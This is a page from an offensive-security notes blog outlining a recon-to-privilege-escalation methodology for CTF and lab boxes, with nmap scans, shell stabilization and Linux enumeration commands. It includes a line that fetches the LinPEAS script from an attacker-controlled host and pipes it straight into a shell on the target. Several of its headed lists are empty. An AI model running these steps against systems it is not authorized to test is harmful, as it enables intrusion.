boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Recon to Privilege Escalation Process (2026)

End-to-end methodology, refreshed against 2026 practice. The core loop is unchanged: enumerate → exploit → re-enumerate as the new user → escalate. Specific commands live in the sibling notes under Privilege Escalation > Linux and in Methodology > Enumeration; this note is the ordering and overview.

1. Host Discovery

nmap -sn -T4 <target>/24
sudo nmap -PR -sn <target>/24     # ARP, local net

2. Port and Service Scan (Save Output)

nmap -sC -sV -T4 -p- -oA scans/<host> <target>

Always use -oA to save the .nmap/.gnmap/.xml output, and keep per-host logging.

3. Service Enumeration and Low-Hanging Fruit

Triage per Low Hanging Fruits: HTTP / FTP / SMB / SSH / RDP. Updated web-enum tooling:

4. Initial Access → Stabilize

Exploit the enumerated weakness, land a shell, and stabilize it (see Shells > Stable Shell; the Python-pty upgrade is unchanged).

5. Privilege Escalation — Recommended Ordering (2026)

Quick manual wins first, since they are cheap and quiet:

id; sudo -l

Automated enumeration — LinPEAS (PEASS-ng) replaces LinEnum:

# host:
python3 -m http.server 80
# target (nothing written to disk by default):
curl -L <your-ip>/linpeas.sh | sh

Red + yellow means likely exploitable. Flags: -a all/noisy, -s stealth/fast, -o select groups. Keep a local copy of linpeas.sh.

Then work the vectors, confirming each highlight manually:

find / -type f -perm -4000 -ls 2>/dev/null   # SUID
getcap -r / 2>/dev/null                        # capabilities (note: -r before /)
cat /etc/crontab; ls -la /etc/cron.*           # cron

Newer vectors to add:

Kernel exploits are a last resort: noisy, and they can panic the box.

Dated Items Corrected


Sources (verified 2026): PEASS-ng LinPEAS README; redteamguide Linux privesc cheat sheet 2026; hackerdna; Hive Security 2026; golinuxcloud; Linux Magazine (feroxbuster/ffuf).